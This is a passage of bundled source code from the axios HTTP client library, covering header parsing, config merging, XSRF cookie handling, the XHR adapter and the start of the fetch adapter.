https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n 'age', 'authorization', 'content-length', 'content-type', 'etag',\n 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n 'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n 'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n const parsed = {};\n let key;\n let val;\n let i;\n\n rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n i = line.indexOf(':');\n key = line.substring(0, i).trim().toLowerCase();\n val = line.substring(i + 1).trim();\n\n if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n return;\n }\n\n if (key === 'set-cookie') {\n if (parsed[key]) {\n parsed[key].push(val);\n } else {\n parsed[key] = [val];\n }\n } else {\n parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n }\n });\n\n return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n if (value === false || value == null) {\n return value;\n }\n\n return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n const tokens = Object.create(null);\n const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n let match;\n\n while ((match = tokensRE.exec(str))) {\n tokens[match[1]] = match[2];\n }\n\n return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n if (utils.isFunction(filter)) {\n return filter.call(this, value, header);\n }\n\n if (isHeaderNameFilter) {\n value = header;\n }\n\n if (!utils.isString(value)) return;\n\n if (utils.isString(filter)) {\n return value.indexOf(filter) !== -1;\n }\n\n if (utils.isRegExp(filter)) {\n return filter.test(value);\n }\n}\n\nfunction formatHeader(header) {\n return header.trim()\n .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n return char.toUpperCase() + str;\n });\n}\n\nfunction buildAccessors(obj, header) {\n const accessorName = utils.toCamelCase(' ' + header);\n\n ['get', 'set', 'has'].forEach(methodName => {\n Object.defineProperty(obj, methodName + accessorName, {\n value: function(arg1, arg2, arg3) {\n return this[methodName].call(this, header, arg1, arg2, arg3);\n },\n configurable: true\n });\n });\n}\n\nclass AxiosHeaders {\n constructor(headers) {\n headers && this.set(headers);\n }\n\n set(header, valueOrRewrite, rewrite) {\n const self = this;\n\n function setHeader(_value, _header, _rewrite) {\n const lHeader = normalizeHeader(_header);\n\n if (!lHeader) {\n throw new Error('header name must be a non-empty string');\n }\n\n const key = utils.findKey(self, lHeader);\n\n if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n self[key || _header] = normalizeValue(_value);\n }\n }\n\n const setHeaders = (headers, _rewrite) =>\n utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n if (utils.isPlainObject(header) || header instanceof this.constructor) {\n setHeaders(header, valueOrRewrite)\n } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n setHeaders(parseHeaders(header), valueOrRewrite);\n } else if (utils.isObject(header) && utils.isIterable(header)) {\n let obj = {}, dest, key;\n for (const entry of header) {\n if (!utils.isArray(entry)) {\n throw TypeError('Object iterator must return a key-value pair');\n }\n\n obj[key = entry[0]] = (dest = obj[key]) ?\n (utils.isArray(dest) ? [...dest, entry[1]] : [dest, entry[1]]) : entry[1];\n }\n\n setHeaders(obj, valueOrRewrite)\n } else {\n header != null && setHeader(valueOrRewrite, header, rewrite);\n }\n\n return this;\n }\n\n get(header, parser) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n if (key) {\n const value = this[key];\n\n if (!parser) {\n return value;\n }\n\n if (parser === true) {\n return parseTokens(value);\n }\n\n if (utils.isFunction(parser)) {\n return parser.call(this, value, key);\n }\n\n if (utils.isRegExp(parser)) {\n return parser.exec(value);\n }\n\n throw new TypeError('parser must be boolean|regexp|function');\n }\n }\n }\n\n has(header, matcher) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n }\n\n return false;\n }\n\n delete(header, matcher) {\n const self = this;\n let deleted = false;\n\n function deleteHeader(_header) {\n _header = normalizeHeader(_header);\n\n if (_header) {\n const key = utils.findKey(self, _header);\n\n if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n delete self[key];\n\n deleted = true;\n }\n }\n }\n\n if (utils.isArray(header)) {\n header.forEach(deleteHeader);\n } else {\n deleteHeader(header);\n }\n\n return deleted;\n }\n\n clear(matcher) {\n const keys = Object.keys(this);\n let i = keys.length;\n let deleted = false;\n\n while (i--) {\n const key = keys[i];\n if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n delete this[key];\n deleted = true;\n }\n }\n\n return deleted;\n }\n\n normalize(format) {\n const self = this;\n const headers = {};\n\n utils.forEach(this, (value, header) => {\n const key = utils.findKey(headers, header);\n\n if (key) {\n self[key] = normalizeValue(value);\n delete self[header];\n return;\n }\n\n const normalized = format ? formatHeader(header) : String(header).trim();\n\n if (normalized !== header) {\n delete self[header];\n }\n\n self[normalized] = normalizeValue(value);\n\n headers[normalized] = true;\n });\n\n return this;\n }\n\n concat(...targets) {\n return this.constructor.concat(this, ...targets);\n }\n\n toJSON(asStrings) {\n const obj = Object.create(null);\n\n utils.forEach(this, (value, header) => {\n value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n });\n\n return obj;\n }\n\n [Symbol.iterator]() {\n return Object.entries(this.toJSON())[Symbol.iterator]();\n }\n\n toString() {\n return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n }\n\n getSetCookie() {\n return this.get(\"set-cookie\") || [];\n }\n\n get [Symbol.toStringTag]() {\n return 'AxiosHeaders';\n }\n\n static from(thing) {\n return thing instanceof this ? thing : new this(thing);\n }\n\n static concat(first, ...targets) {\n const computed = new this(first);\n\n targets.forEach((target) => computed.set(target));\n\n return computed;\n }\n\n static accessor(header) {\n const internals = this[$internals] = (this[$internals] = {\n accessors: {}\n });\n\n const accessors = internals.accessors;\n const prototype = this.prototype;\n\n function defineAccessor(_header) {\n const lHeader = normalizeHeader(_header);\n\n if (!accessors[lHeader]) {\n buildAccessors(prototype, _header);\n accessors[lHeader] = true;\n }\n }\n\n utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n return this;\n }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n return {\n get: () => value,\n set(headerValue) {\n this[mapped] = headerValue;\n }\n }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n const config = this || defaults;\n const context = response || config;\n const headers = AxiosHeaders.from(context.headers);\n let data = context.data;\n\n utils.forEach(fns, function transform(fn) {\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n });\n\n headers.normalize();\n\n return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n const validateStatus = response.config.validateStatus;\n if (!response.status || !validateStatus || validateStatus(response.status)) {\n resolve(response);\n } else {\n reject(new AxiosError(\n 'Request failed with status code ' + response.status,\n [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n response.config,\n response.request,\n response\n ));\n }\n}\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\nimport utils from \"../utils.js\";\n\nexport const progressEventReducer = (listener, isDownloadStream, freq = 3) => {\n let bytesNotified = 0;\n const _speedometer = speedometer(50, 250);\n\n return throttle(e => {\n const loaded = e.loaded;\n const total = e.lengthComputable ? e.total : undefined;\n const progressBytes = loaded - bytesNotified;\n const rate = _speedometer(progressBytes);\n const inRange = loaded <= total;\n\n bytesNotified = loaded;\n\n const data = {\n loaded,\n total,\n progress: total ? (loaded / total) : undefined,\n bytes: progressBytes,\n rate: rate ? rate : undefined,\n estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n event: e,\n lengthComputable: total != null,\n [isDownloadStream ? 'download' : 'upload']: true\n };\n\n listener(data);\n }, freq);\n}\n\nexport const progressEventDecorator = (total, throttled) => {\n const lengthComputable = total != null;\n\n return [(loaded) => throttled[0]({\n lengthComputable,\n total,\n loaded\n }), throttled[1]];\n}\n\nexport const asyncDecorator = (fn) => (...args) => utils.asap(() => fn(...args));\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n samplesCount = samplesCount || 10;\n const bytes = new Array(samplesCount);\n const timestamps = new Array(samplesCount);\n let head = 0;\n let tail = 0;\n let firstSampleTS;\n\n min = min !== undefined ? min : 1000;\n\n return function push(chunkLength) {\n const now = Date.now();\n\n const startedAt = timestamps[tail];\n\n if (!firstSampleTS) {\n firstSampleTS = now;\n }\n\n bytes[head] = chunkLength;\n timestamps[head] = now;\n\n let i = tail;\n let bytesCount = 0;\n\n while (i !== head) {\n bytesCount += bytes[i++];\n i = i % samplesCount;\n }\n\n head = (head + 1) % samplesCount;\n\n if (head === tail) {\n tail = (tail + 1) % samplesCount;\n }\n\n if (now - firstSampleTS < min) {\n return;\n }\n\n const passed = startedAt && now - startedAt;\n\n return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n };\n}\n\nexport default speedometer;\n","/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n let timestamp = 0;\n let threshold = 1000 / freq;\n let lastArgs;\n let timer;\n\n const invoke = (args, now = Date.now()) => {\n timestamp = now;\n lastArgs = null;\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n fn.apply(null, args);\n }\n\n const throttled = (...args) => {\n const now = Date.now();\n const passed = now - timestamp;\n if ( passed >= threshold) {\n invoke(args, now);\n } else {\n lastArgs = args;\n if (!timer) {\n timer = setTimeout(() => {\n timer = null;\n invoke(lastArgs)\n }, threshold - passed);\n }\n }\n }\n\n const flush = () => lastArgs && invoke(lastArgs);\n\n return [throttled, flush];\n}\n\nexport default throttle;\n","import platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ? ((origin, isMSIE) => (url) => {\n url = new URL(url, platform.origin);\n\n return (\n origin.protocol === url.protocol &&\n origin.host === url.host &&\n (isMSIE || origin.port === url.port)\n );\n})(\n new URL(platform.origin),\n platform.navigator && /(msie|trident)/i.test(platform.navigator.userAgent)\n) : () => true;\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n // Standard browser envs support document.cookie\n {\n write(name, value, expires, path, domain, secure) {\n const cookie = [name + '=' + encodeURIComponent(value)];\n\n utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n utils.isString(path) && cookie.push('path=' + path);\n\n utils.isString(domain) && cookie.push('domain=' + domain);\n\n secure === true && cookie.push('secure');\n\n document.cookie = cookie.join('; ');\n },\n\n read(name) {\n const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n return (match ? decodeURIComponent(match[3]) : null);\n },\n\n remove(name) {\n this.write(name, '', Date.now() - 86400000);\n }\n }\n\n :\n\n // Non-standard browser env (web workers, react-native) lack needed support.\n {\n write() {},\n read() {\n return null;\n },\n remove() {}\n };\n\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL, allowAbsoluteUrls) {\n let isRelativeUrl = !isAbsoluteURL(requestedURL);\n if (baseURL && (isRelativeUrl || allowAbsoluteUrls == false)) {\n return combineURLs(baseURL, requestedURL);\n }\n return requestedURL;\n}\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n // by any combination of letters, digits, plus, period, or hyphen.\n return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n return relativeURL\n ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n : baseURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n // eslint-disable-next-line no-param-reassign\n config2 = config2 || {};\n const config = {};\n\n function getMergedValue(target, source, prop, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({caseless}, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDeepProperties(a, b, prop , caseless) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(a, b, prop , caseless);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a, prop , caseless);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function valueFromConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function defaultToConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDirectKeys(a, b, prop) {\n if (prop in config2) {\n return getMergedValue(a, b);\n } else if (prop in config1) {\n return getMergedValue(undefined, a);\n }\n }\n\n const mergeMap = {\n url: valueFromConfig2,\n method: valueFromConfig2,\n data: valueFromConfig2,\n baseURL: defaultToConfig2,\n transformRequest: defaultToConfig2,\n transformResponse: defaultToConfig2,\n paramsSerializer: defaultToConfig2,\n timeout: defaultToConfig2,\n timeoutMessage: defaultToConfig2,\n withCredentials: defaultToConfig2,\n withXSRFToken: defaultToConfig2,\n adapter: defaultToConfig2,\n responseType: defaultToConfig2,\n xsrfCookieName: defaultToConfig2,\n xsrfHeaderName: defaultToConfig2,\n onUploadProgress: defaultToConfig2,\n onDownloadProgress: defaultToConfig2,\n decompress: defaultToConfig2,\n maxContentLength: defaultToConfig2,\n maxBodyLength: defaultToConfig2,\n beforeRedirect: defaultToConfig2,\n transport: defaultToConfig2,\n httpAgent: defaultToConfig2,\n httpsAgent: defaultToConfig2,\n cancelToken: defaultToConfig2,\n socketPath: defaultToConfig2,\n responseEncoding: defaultToConfig2,\n validateStatus: mergeDirectKeys,\n headers: (a, b , prop) => mergeDeepProperties(headersToObject(a), headersToObject(b),prop, true)\n };\n\n utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n });\n\n return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n const newConfig = mergeConfig({}, config);\n\n let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n newConfig.headers = headers = AxiosHeaders.from(headers);\n\n newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url, newConfig.allowAbsoluteUrls), config.params, config.paramsSerializer);\n\n // HTTP basic authentication\n if (auth) {\n headers.set('Authorization', 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n );\n }\n\n let contentType;\n\n if (utils.isFormData(data)) {\n if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n headers.setContentType(undefined); // Let the browser set it\n } else if ((contentType = headers.getContentType()) !== false) {\n // fix semicolon duplication issue for ReactNative FormData implementation\n const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n }\n }\n\n // Add xsrf header\n // This is only done if running in a standard browser environment.\n // Specifically not if we're in a web worker, or react-native.\n\n if (platform.hasStandardBrowserEnv) {\n withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n // Add xsrf header\n const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n }\n }\n\n return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport {progressEventReducer} from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n return new Promise(function dispatchXhrRequest(resolve, reject) {\n const _config = resolveConfig(config);\n let requestData = _config.data;\n const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n let {responseType, onUploadProgress, onDownloadProgress} = _config;\n let onCanceled;\n let uploadThrottled, downloadThrottled;\n let flushUpload, flushDownload;\n\n function done() {\n flushUpload && flushUpload(); // flush events\n flushDownload && flushDownload(); // flush events\n\n _config.cancelToken && _config.cancelToken.unsubscribe(onCanceled);\n\n _config.signal && _config.signal.removeEventListener('abort', onCanceled);\n }\n\n let request = new XMLHttpRequest();\n\n request.open(_config.method.toUpperCase(), _config.url, true);\n\n // Set the request timeout in MS\n request.timeout = _config.timeout;\n\n function onloadend() {\n if (!request) {\n return;\n }\n // Prepare the response\n const responseHeaders = AxiosHeaders.from(\n 'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n );\n const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n request.responseText : request.response;\n const response = {\n data: responseData,\n status: request.status,\n statusText: request.statusText,\n headers: responseHeaders,\n config,\n request\n };\n\n settle(function _resolve(value) {\n resolve(value);\n done();\n }, function _reject(err) {\n reject(err);\n done();\n }, response);\n\n // Clean up request\n request = null;\n }\n\n if ('onloadend' in request) {\n // Use onloadend if available\n request.onloadend = onloadend;\n } else {\n // Listen for ready state to emulate onloadend\n request.onreadystatechange = function handleLoad() {\n if (!request || request.readyState !== 4) {\n return;\n }\n\n // The request errored out and we didn't get a response, this will be\n // handled by onerror instead\n // With one exception: request that using file: protocol, most browsers\n // will return status as 0 even though it's a successful request\n if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n return;\n }\n // readystate handler is calling before onerror or ontimeout handlers,\n // so we should call onloadend on the next 'tick'\n setTimeout(onloadend);\n };\n }\n\n // Handle browser request cancellation (as opposed to a manual cancellation)\n request.onabort = function handleAbort() {\n if (!request) {\n return;\n }\n\n reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle low level network errors\n request.onerror = function handleError() {\n // Real errors are hidden from us by the browser\n // onerror should only fire if it's a network error\n reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle timeout\n request.ontimeout = function handleTimeout() {\n let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n const transitional = _config.transitional || transitionalDefaults;\n if (_config.timeoutErrorMessage) {\n timeoutErrorMessage = _config.timeoutErrorMessage;\n }\n reject(new AxiosError(\n timeoutErrorMessage,\n transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n config,\n request));\n\n // Clean up request\n request = null;\n };\n\n // Remove Content-Type if data is undefined\n requestData === undefined && requestHeaders.setContentType(null);\n\n // Add headers to the request\n if ('setRequestHeader' in request) {\n utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n request.setRequestHeader(key, val);\n });\n }\n\n // Add withCredentials to request if needed\n if (!utils.isUndefined(_config.withCredentials)) {\n request.withCredentials = !!_config.withCredentials;\n }\n\n // Add responseType to request if needed\n if (responseType && responseType !== 'json') {\n request.responseType = _config.responseType;\n }\n\n // Handle progress if needed\n if (onDownloadProgress) {\n ([downloadThrottled, flushDownload] = progressEventReducer(onDownloadProgress, true));\n request.addEventListener('progress', downloadThrottled);\n }\n\n // Not all browsers support upload events\n if (onUploadProgress && request.upload) {\n ([uploadThrottled, flushUpload] = progressEventReducer(onUploadProgress));\n\n request.upload.addEventListener('progress', uploadThrottled);\n\n request.upload.addEventListener('loadend', flushUpload);\n }\n\n if (_config.cancelToken || _config.signal) {\n // Handle cancellation\n // eslint-disable-next-line func-names\n onCanceled = cancel => {\n if (!request) {\n return;\n }\n reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n request.abort();\n request = null;\n };\n\n _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n if (_config.signal) {\n _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n }\n }\n\n const protocol = parseProtocol(_config.url);\n\n if (protocol && platform.protocols.indexOf(protocol) === -1) {\n reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n return;\n }\n\n\n // Send the request\n request.send(requestData || null);\n });\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n return match && match[1] || '';\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport utils from '../utils.js';\n\nconst composeSignals = (signals, timeout) => {\n const {length} = (signals = signals ? signals.filter(Boolean) : []);\n\n if (timeout || length) {\n let controller = new AbortController();\n\n let aborted;\n\n const onabort = function (reason) {\n if (!aborted) {\n aborted = true;\n unsubscribe();\n const err = reason instanceof Error ? reason : this.reason;\n controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n }\n }\n\n let timer = timeout && setTimeout(() => {\n timer = null;\n onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n }, timeout)\n\n const unsubscribe = () => {\n if (signals) {\n timer && clearTimeout(timer);\n timer = null;\n signals.forEach(signal => {\n signal.unsubscribe ? signal.unsubscribe(onabort) : signal.removeEventListener('abort', onabort);\n });\n signals = null;\n }\n }\n\n signals.forEach((signal) => signal.addEventListener('abort', onabort));\n\n const {signal} = controller;\n\n signal.unsubscribe = () => utils.asap(unsubscribe);\n\n return signal;\n }\n}\n\nexport default composeSignals;\n","\nexport const streamChunk = function* (chunk, chunkSize) {\n let len = chunk.byteLength;\n\n if (!chunkSize || len < chunkSize) {\n yield chunk;\n return;\n }\n\n let pos = 0;\n let end;\n\n while (pos < len) {\n end = pos + chunkSize;\n yield chunk.slice(pos, end);\n pos = end;\n }\n}\n\nexport const readBytes = async function* (iterable, chunkSize) {\n for await (const chunk of readStream(iterable)) {\n yield* streamChunk(chunk, chunkSize);\n }\n}\n\nconst readStream = async function* (stream) {\n if (stream[Symbol.asyncIterator]) {\n yield* stream;\n return;\n }\n\n const reader = stream.getReader();\n try {\n for (;;) {\n const {done, value} = await reader.read();\n if (done) {\n break;\n }\n yield value;\n }\n } finally {\n await reader.cancel();\n }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish) => {\n const iterator = readBytes(stream, chunkSize);\n\n let bytes = 0;\n let done;\n let _onFinish = (e) => {\n if (!done) {\n done = true;\n onFinish && onFinish(e);\n }\n }\n\n return new ReadableStream({\n async pull(controller) {\n try {\n const {done, value} = await iterator.next();\n\n if (done) {\n _onFinish();\n controller.close();\n return;\n }\n\n let len = value.byteLength;\n if (onProgress) {\n let loadedBytes = bytes += len;\n onProgress(loadedBytes);\n }\n controller.enqueue(new Uint8Array(value));\n } catch (err) {\n _onFinish(err);\n throw err;\n }\n },\n cancel(reason) {\n _onFinish(reason);\n return iterator.return();\n }\n }, {\n highWaterMark: 2\n })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport {progressEventReducer, progressEventDecorator, asyncDecorator} from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst test = (fn, ...args) => {\n try {\n return !!fn(...args);\n } catch (e) {\n return false\n }\n}\n\nconst supportsRequestStream = isReadableStreamSupported && test(() => {\n let duplexAccessed = false;\n\n const hasContentType = new Request(platform.origin, {\n body: new ReadableStream(),\n method: 'POST',\n get duplex() {\n duplexAccessed = true;\n return 'half';\n },\n }).headers.has('Content-Type');\n\n return duplexAccessed && !hasContentType;\n});\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported &&\n test(() => utils.isReadableStream(new Response('').body));\n\n\nconst resolvers = {\n stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n (_, config) => {\n throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n })\n });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n\n if(utils.isBlob(body)) {\n return body.size;\n }\n\n if(utils.isSpecCompliantForm(body)) {\n const _request = new Request(platform.origin, {\n method: 'POST',\n 